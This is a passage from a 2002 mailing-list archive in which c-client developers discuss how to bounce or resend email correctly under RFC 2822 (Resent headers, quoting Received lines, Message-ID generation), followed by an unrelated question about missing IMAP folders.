Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5BLsBo1012176 for ; Tue, 11 Jun 2002 14:54:11 -0700 Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Tue Jun 11 14:54:10 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g5BLs9B7021011 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 11 Jun 2002 14:54:10 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5BLrMqt017562; Tue, 11 Jun 2002 14:53:22 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5BLnjw3085648 for ; Tue, 11 Jun 2002 14:49:45 -0700 Received: FROM mxu2.u.washington.edu BY mailscan1.cac.washington.edu ; Tue Jun 11 14:49:44 2002 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g5BLnihS004815 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 11 Jun 2002 14:49:44 -0700 Received: from mailscan-out1.cac.washington.edu (mailscan-out1.cac.washington.edu [140.142.32.17]) by mxout1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5BLniSJ032618 for ; Tue, 11 Jun 2002 14:49:44 -0700 Received: FROM smtp.washington.edu BY mailscan-out1.cac.washington.edu ; Tue Jun 11 14:49:42 2002 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g5BLngPT008622 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 11 Jun 2002 14:49:42 -0700 Message-Id: Date: Tue, 11 Jun 2002 14:49:45 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vadim Zeitlin Cc: c-client@u.washington.edu Subject: Re: bouncing/redirecting messages In-Reply-To: <200206112033.WAA23713@seth.lpthe.jussieu.fr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@CAC.Washington.EDU X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 11 Jun 2002, Vadim Zeitlin wrote: > a) set its remail field to the original header So far, so good. > quoting (i.e. prefixing > with "X-") some special headers such as "Delivered-To:" (otherwise if > you bounce message to yourself the SMTP server rejects it saying that > it detected an infinite loop) and also "Received:" and "Resent-XXX:" This is at your descretion. I didn't do it it in my MailManager and MS programs, but as you observed Pine does it. > b) set to and date fields Correct. > c) don't set any other fields, in particular from, reply-to, sender You SHOULD sent from, in order to generate a ReSent-From header. > The most suspicious point is 2(c) -- I don't feel comfortably using > ENCOTHER because I have no idea what is it supposed to do but this was the > only way I found to prevent c-client from encoding the message in either QP > or Base64. Set it to ENC7BIT. Yes, even if it has 8-bit data. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue Jun 11 15:09:26 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 11 Jun 2002 15:09:26 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5BM9Po1012665 for ; Tue, 11 Jun 2002 15:09:25 -0700 Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Tue Jun 11 15:09:24 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g5BM9Cr3018760 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 11 Jun 2002 15:09:12 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5BM8Wqt026814; Tue, 11 Jun 2002 15:08:33 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5BM5fw3065648 for ; Tue, 11 Jun 2002 15:05:41 -0700 Received: FROM mxu3.u.washington.edu BY mailscan2.cac.washington.edu ; Tue Jun 11 15:05:40 2002 -0700 Received: from server07.icaen.uiowa.edu (server10.icaen.uiowa.edu [128.255.17.50]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g5BM5eg4018972 for ; Tue, 11 Jun 2002 15:05:40 -0700 Received: from server11.icaen.uiowa.edu (server11.icaen.uiowa.edu [128.255.17.51]) by server07.icaen.uiowa.edu (8.9.3/8.9.3) with ESMTP id RAA10466 sent by ; Tue, 11 Jun 2002 17:07:21 -0500 (CDT) Received: from d-is00.icaen.uiowa.edu (d-is00.icaen.uiowa.edu [128.255.17.30]) by server11.icaen.uiowa.edu (8.9.3/smtp-service-1.6) with ESMTP id RAA17694; sent by ; Tue, 11 Jun 2002 17:05:36 -0500 (CDT) Received: (from dbfunk@localhost) by d-is00.icaen.uiowa.edu (8.9.3/client-6.6) id RAA19823; Tue, 11 Jun 2002 17:05:35 -0500 (CDT) Message-Id: Date: Tue, 11 Jun 2002 17:05:35 -0500 (CDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David B Funk To: Mark Crispin Cc: Vadim Zeitlin , Subject: Re: bouncing/redirecting messages In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 11 Jun 2002, Mark Crispin wrote: > On Tue, 11 Jun 2002, Vadim Zeitlin wrote: > > > quoting (i.e. prefixing > > with "X-") some special headers such as "Delivered-To:" (otherwise if > > you bounce message to yourself the SMTP server rejects it saying that > > it detected an infinite loop) and also "Received:" and "Resent-XXX:" > > This is at your descretion. I didn't do it it in my MailManager and MS > programs, but as you observed Pine does it. The reason for quoting the "Received:" headers is that many MTAs use a count of "Received:" headers for forward/alias loop detection. If you don't then a bounced message may be dropped by a MTA as being in a loop due to too many "Received:" headers. -- Dave Funk University of Iowa College of Engineering 319/335-5751 FAX: 319/384-0549 1256 Seamans Center Sys_admin/Postmaster/cell_admin Iowa City, IA 52242-1527 #include Better is not better, 'standard' is better. B{ From pinedev@shivax2.cac.washington.edu Wed Jun 12 10:21:59 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 12 Jun 2002 10:21:59 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5CHLxo1017998 for ; Wed, 12 Jun 2002 10:21:59 -0700 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Wed Jun 12 10:21:58 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g5CHLoCT018192 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 12 Jun 2002 10:21:50 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5CHKpqt032488; Wed, 12 Jun 2002 10:20:51 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5CHCww3041826 for ; Wed, 12 Jun 2002 10:12:59 -0700 Received: FROM mxu1.u.washington.edu BY mailscan6.cac.washington.edu ; Wed Jun 12 10:12:57 2002 -0700 Received: from shiva.jussieu.fr (shiva.jussieu.fr [134.157.0.129]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g5CHCuKj029616 for ; Wed, 12 Jun 2002 10:12:56 -0700 Received: from parthe.lpthe.jussieu.fr (parthe.lpthe.jussieu.fr [134.157.10.1]) by shiva.jussieu.fr (8.12.4/jtpda-5.4) with ESMTP id g5CHCteK034581 for ; Wed, 12 Jun 2002 19:12:55 +0200 (CEST) Received: from seth.lpthe.jussieu.fr (IDENT:root@seth.lpthe.jussieu.fr [134.157.10.7]) by parthe.lpthe.jussieu.fr (8.11.1/jtpda-5.3.1) with ESMTP id g5CHCsm18678 for ; Wed, 12 Jun 2002 19:12:54 +0200 (MEST) Received: from (zeitlin@localhost) by seth.lpthe.jussieu.fr (8.8.7/jtpda-5.1) id TAA13847 ; Wed, 12 Jun 2002 19:12:54 +0200 Message-Id: <200206121712.TAA13847@seth.lpthe.jussieu.fr> Date: Wed, 12 Jun 2002 19:12:54 +0200 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu Subject: Re[2]: bouncing/redirecting messages In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 11 Jun 2002 14:49:45 -0700 (Pacific Daylight Time) Mark Crispin wrote: MC> > c) don't set any other fields, in particular from, reply-to, sender MC> MC> You SHOULD sent from, in order to generate a ReSent-From header. Thanks! I should have read (2)822 better myself... However when I tried to compensate for this by reading it carefully now I found 2 more questions related to the following extracts from the section 3.6.6 or the RFC 2822: 1. """ The "Resent-Message-ID:" field SHOULD be sent. """ How important is this requirment? I don't generate the Message-ID header for the normal messages as I believe it's not the MUAs job at all (whatever Pine does). Is Resent-Message-ID really somehow different from the normal header or is there really a good reason to add it? 2. """ All of the resent fields corresponding to a particular resending of the message SHOULD be together. Each new set of resent fields is prepended to the message; that is, the most recent set of resent fields appear earlier in the message. """ The first requirment is satisfied by c-client, however the second one is not as the Resent-XXX fields appear after all the others -- and, apparently, this was done intentionally. Is this correct? Also, this seems to imply that Resent-XXX fields should *not* be quoted as Pine does, does anyone have any additional insights into this (BTW, thanks to David Funk for this reply about the Received: header)? Thanks again, VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jun 12 10:52:26 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 12 Jun 2002 10:52:26 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5CHqPo1019298 for ; Wed, 12 Jun 2002 10:52:25 -0700 Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Wed Jun 12 10:52:23 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g5CHqMtn024763 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 12 Jun 2002 10:52:23 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5CHpWR8018734; Wed, 12 Jun 2002 10:51:32 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5CHmFw3090062 for ; Wed, 12 Jun 2002 10:48:15 -0700 Received: FROM mxu3.u.washington.edu BY mailscan1.cac.washington.edu ; Wed Jun 12 10:48:15 2002 -0700 Received: from mailgate2.Cadence.COM (mailgate2.Cadence.COM [158.140.2.31]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g5CHmEg4006138 for ; Wed, 12 Jun 2002 10:48:14 -0700 Received: from mailhub.Cadence.COM (mailhub.Cadence.COM [158.140.128.33]) by mailgate2.Cadence.COM (8.9.3/8.9.3) with ESMTP id KAA08026; Wed, 12 Jun 2002 10:44:48 -0700 (PDT) Received: from ghicks-dsl (ghicks-dsl [139.99.177.125]) by mailhub.Cadence.COM (8.10.1/8.8.5) with SMTP id g5CHiB814259; Wed, 12 Jun 2002 10:44:11 -0700 (PDT) Message-Id: <200206121744.g5CHiB814259@mailhub.Cadence.COM> Date: Wed, 12 Jun 2002 10:44:44 -0700 (PDT) Reply-To: Gregory Hicks Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Gregory Hicks To: c-client@u.washington.edu, Vadim.zeitlin@dptmaths.ens-cachan.fr Cc: ghicks@mailhub.Cadence.COM Subject: Re: Re[2]: bouncing/redirecting messages MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Content-MD5: czocNgqK2QEBTuTHsYSF0g== X-Received: By mailgate2.Cadence.COM as KAA08026 at Wed Jun 12 10:44:48 2002 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > Date: Wed, 12 Jun 2002 19:12:54 +0200 (CET) > From: Vadim Zeitlin > To: c-client@u.washington.edu > Subject: Re[2]: bouncing/redirecting messages > > On Tue, 11 Jun 2002 14:49:45 -0700 (Pacific Daylight Time) Mark Crispin wrote: > > MC> > c) don't set any other fields, in particular from, reply-to, sender > MC> > MC> You SHOULD sent from, in order to generate a ReSent-From header. > > Thanks! I should have read (2)822 better myself... However when I > tried to compensate for this by reading it carefully now I found 2 more > questions related to the following extracts from the section 3.6.6 or the > RFC 2822: > > 1. """ The "Resent-Message-ID:" field SHOULD be sent. """ > > How important is this requirment? I don't generate the Message-ID header > for the normal messages as I believe it's not the MUAs job at all > (whatever Pine does). Is Resent-Message-ID really somehow different from > the normal header or is there really a good reason to add it? Same as the 'normal' Message-ID header but with "Resent-" in front of it. > > 2. """ All of the resent fields corresponding to a particular resending of > the message SHOULD be together. Each new set of resent fields is > prepended to the message; that is, the most recent set of resent > fields appear earlier in the message. """ > > The first requirment is satisfied by c-client, however the second one > is not as the Resent-XXX fields appear after all the others -- and, > apparently, this was done intentionally. Is this correct? Also, this > seems to imply that Resent-XXX fields should *not* be quoted as Pine > does, does anyone have any additional insights into this (BTW, thanks > to David Funk for this reply about the Received: header)? They should not be quoted at all. I just used Pine at my ISP to "bounce" a message back to me. This is what the relevant headers looked like: (I cut out all the Received: headers...) ------------------------------------------- Message-Id: <200206121734.g5CHYZ811343@mailhub.Cadence.COM> Date: Wed, 12 Jun 2002 10:35:09 -0700 (PDT) From: Gregory Hicks Reply-To: Gregory Hicks Subject: Testing Resent headers To: ghicks@well.com MIME-Version: 1.0 Content-MD5: L+Hwhro/C63q2OK55SLuAw== X-Mailer: dtmail 1.3.0 @(#)CDE Version 1.4.2 SunOS 5.8 sun4u sparc X-UIDL: b388a23b7d96c6d12fe5374354b375c4 ReSent-Date: Wed, 12 Jun 2002 10:35:33 -0700 (PDT) ReSent-From: Gregory Hicks ReSent-To: ghicks@cadence.com ReSent-Subject: Testing Resent headers ReSent-Message-ID: Content-Type: TEXT/plain; charset=us-ascii Content-Length: 611 ------------------------------------------- The above are correct and seem to be what I have seen over the past X years [1] of sending email... The above is the 'proper' way to resend email. MUAs like dtmail, Outlook, Netscape and such do not do it properly. My $0.02 worth. Regards, Gregory Hicks Postmaster, Cadence.COM [1] Where X is a large number > 30, but at least seeing the headers since 1984... --------------------------------------------------------------------- Gregory Hicks | Principal Systems Engineer Cadence Design Systems | Direct: 408.576.3609 555 River Oaks Pkwy M/S 6B1 | Fax: 408.894.3479 San Jose, CA 95134 | Internet: ghicks@cadence.com Never attribute to malice that which is adequately explained by ignorance or stupidity. Asking the wrong questions is the leading cause of wrong answers "The best we can hope for concerning the people at large is that they be properly armed." --Alexander Hamilton From pinedev@shivax2.cac.washington.edu Wed Jun 12 10:58:50 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 12 Jun 2002 10:58:50 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5CHwno1019533 for ; Wed, 12 Jun 2002 10:58:49 -0700 Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Wed Jun 12 10:58:48 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g5CHwmCT019391 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 12 Jun 2002 10:58:48 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5CHwCR8022668; Wed, 12 Jun 2002 10:58:12 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5CHt6w3085698 for ; Wed, 12 Jun 2002 10:55:06 -0700 Received: FROM mxu2.u.washington.edu BY mailscan3.cac.washington.edu ; Wed Jun 12 10:55:06 2002 -0700 Received: from shiva.jussieu.fr (shiva.jussieu.fr [134.157.0.129]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g5CHt4hR030139 for ; Wed, 12 Jun 2002 10:55:05 -0700 Received: from parthe.lpthe.jussieu.fr (parthe.lpthe.jussieu.fr [134.157.10.1]) by shiva.jussieu.fr (8.12.4/jtpda-5.4) with ESMTP id g5CHt4eK052982 for ; Wed, 12 Jun 2002 19:55:04 +0200 (CEST) Received: from seth.lpthe.jussieu.fr (IDENT:root@seth.lpthe.jussieu.fr [134.157.10.7]) by parthe.lpthe.jussieu.fr (8.11.1/jtpda-5.3.1) with ESMTP id g5CHt3m18897 for ; Wed, 12 Jun 2002 19:55:03 +0200 (MEST) Received: from (zeitlin@localhost) by seth.lpthe.jussieu.fr (8.8.7/jtpda-5.1) id TAA14939 ; Wed, 12 Jun 2002 19:55:03 +0200 Message-Id: <200206121755.TAA14939@seth.lpthe.jussieu.fr> Date: Wed, 12 Jun 2002 19:55:03 +0200 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu Subject: Re[4]: bouncing/redirecting messages In-Reply-To: <200206121744.g5CHiB814259@mailhub.Cadence.COM> References: <200206121744.g5CHiB814259@mailhub.Cadence.COM> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 12 Jun 2002 10:44:44 -0700 (PDT) Gregory Hicks wrote: GH> > 1. """ The "Resent-Message-ID:" field SHOULD be sent. """ GH> > GH> > How important is this requirment? I don't generate the Message-ID GH> header GH> > for the normal messages as I believe it's not the MUAs job at all GH> > (whatever Pine does). Is Resent-Message-ID really somehow different GH> from GH> > the normal header or is there really a good reason to add it? GH> GH> Same as the 'normal' Message-ID header but with "Resent-" in front of GH> it. Ok, I guess my question wasn't clear so let me rephrase it: the normal Message-ID will be generated by the transport layer if I don't provide one and, as I think that the server knows better how to generate the Message-IDs, I leave this to it. The question is whether the same will be done for Resent-Message-ID. And, if not, how important is it to have one knowing that it isn't supposed to be used for anything anyhow. GH> > 2. """ All of the resent fields corresponding to a particular GH> resending of GH> > the message SHOULD be together. Each new set of resent fields GH> is GH> > prepended to the message; that is, the most recent set of GH> resent GH> > fields appear earlier in the message. """ GH> > GH> > The first requirment is satisfied by c-client, however the second GH> one GH> > is not as the Resent-XXX fields appear after all the others -- and, GH> > apparently, this was done intentionally. Is this correct? Also, GH> this GH> > seems to imply that Resent-XXX fields should *not* be quoted as GH> Pine GH> > does, does anyone have any additional insights into this (BTW, GH> thanks GH> > to David Funk for this reply about the Received: header)? GH> GH> They should not be quoted at all. I just used Pine at my ISP to GH> "bounce" a message back to me. This is what the relevant headers GH> looked like: (I cut out all the Received: headers...) I'm afraid there is a misunderstanding here: of course, the last Resent-XXX fields shouldn't be quoted. But now try bouncing the message again -- you'll see that the first set of them *will* be quoted by Pine (at least it is by 4.32 I've tested it with). The question is whether it is correct to quote the already present Resent fields, not the ones I add. Thanks, VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jun 12 11:16:15 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 12 Jun 2002 11:16:15 -0700 (PDT) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5CIGFo1020315 for ; Wed, 12 Jun 2002 11:16:15 -0700 Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Wed Jun 12 11:16:14 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g5CIG8CT019935 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 12 Jun 2002 11:16:08 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5CIFPlZ014304; Wed, 12 Jun 2002 11:15:25 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5CICcw3010088 for ; Wed, 12 Jun 2002 11:12:39 -0700 Received: FROM mxu3.u.washington.edu BY mailscan3.cac.washington.edu ; Wed Jun 12 11:12:37 2002 -0700 Received: from fort-point-station.mit.edu (FORT-POINT-STATION.MIT.EDU [18.7.7.76]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g5CICa8p004718 for ; Wed, 12 Jun 2002 11:12:37 -0700 Received: from grand-central-station.mit.edu (GRAND-CENTRAL-STATION.MIT.EDU [18.7.21.82]) by fort-point-station.mit.edu (8.9.2/8.9.2) with ESMTP id OAA13181; Wed, 12 Jun 2002 14:12:36 -0400 (EDT) Received: from melbourne-city-street.mit.edu (MELBOURNE-CITY-STREET.MIT.EDU [18.7.21.86]) by grand-central-station.mit.edu (8.9.2/8.9.2) with ESMTP id OAA06427; Wed, 12 Jun 2002 14:09:30 -0400 (EDT) Received: from multics.mit.edu (MULTICS.MIT.EDU [18.187.1.73]) by melbourne-city-street.mit.edu (8.9.2/8.9.2) with ESMTP id NAA15917; Wed, 12 Jun 2002 13:59:44 -0400 (EDT) Received: from localhost (jmorzins@localhost) by multics.mit.edu (8.9.3) with ESMTP id NAA28644; Wed, 12 Jun 2002 13:59:43 -0400 (EDT) Message-Id: Date: Wed, 12 Jun 2002 13:59:42 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jacob Morzinski To: Vadim Zeitlin Cc: Subject: Re: Re[2]: bouncing/redirecting messages In-Reply-To: <200206121712.TAA13847@seth.lpthe.jussieu.fr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-1 Content-Transfer-Encoding: QUOTED-PRINTABLE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 12 Jun 2002, Vadim Zeitlin wrote: > 1. """ The "Resent-Message-ID:" field SHOULD be sent. """ > > How important is this requirment? I don't generate the Message-ID head= er > for the normal messages as I believe it's not the MUAs job at all > (whatever Pine does). Is Resent-Message-ID really somehow different fr= om > the normal header or is there really a good reason to add it? It's not clear that a Resent-Message-ID header would add much value over simply a Message-ID header, but it's probably a good idea to generate one just to help the machines know that *this* copy of the message is not identically the same as the *last* copy of the message. As for the Message-ID header, the MUA "SHOULD" generate such a header (rfc2822, =A73.6.4) and the MTA "MAY" generate the header if it is not already present (rfc2821 =A76.3). Rfc "SHOULD" statements are stronger than "MAY" statements. Whether or not you believe it's the MUA's job, it is more the MUA's job than it is the MTA's job. (Another way of saying this is to point out that the section of rfc2821 that mentions the MTA generating the header is titled "Compensating for irregulatities".) RFC2822, section 3.6.4 has helpful guidelines for how to generate a Message-ID. Sincerely, Jacob Morzinski jmorzins@mit.edu From pinedev@shivax2.cac.washington.edu Tue Jun 18 03:00:57 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 18 Jun 2002 03:00:57 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5IA0vo1016999 for ; Tue, 18 Jun 2002 03:00:57 -0700 Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Tue Jun 18 03:00:56 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g5IA0pYx023195 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 18 Jun 2002 03:00:51 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5IA07qt014106; Tue, 18 Jun 2002 03:00:07 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5I9tvw3066702 for ; Tue, 18 Jun 2002 02:55:58 -0700 Received: FROM mxu2.u.washington.edu BY mailscan4.cac.washington.edu ; Tue Jun 18 02:55:57 2002 -0700 Received: from linuxfr.dyndns.org (APastourelles-107-1-14-200.abo.wanadoo.fr [193.253.40.200]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g5I9tuhR024204 for ; Tue, 18 Jun 2002 02:55:56 -0700 Received: from admintest (host.185.181.23.62.rev.coltfrance.com [62.23.181.185]) by linuxfr.dyndns.org (Postfix) with ESMTP id 85FB4B69FB for ; Tue, 18 Jun 2002 11:57:01 +0200 (CEST) Message-Id: <1024394196.316.2.camel@admintest.inexware.fr> Date: 18 Jun 2002 11:56:35 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Antoine Jacoutot To: c-client@u.washington.edu Subject: missing folders Content-Type: text/plain Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi ! I have a problem with my imapd server. One of my users doesn't have the Drafts, Sent and Trash folders... he only have the INBOX folder. I tried to recreate the account, but it didn't change anything. How can those special folders be recreated ? Thanks in advance for your help. Antoine -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jun 18 07:52:48 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 18 Jun 2002 07:52:48 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5IEqmo1023411 for ; Tue, 18 Jun 2002 07:52:48 -0700 Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Tue Jun 18 07:52:47 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g5IEqfYx028847 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 18 Jun 2002 07:52:42 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with 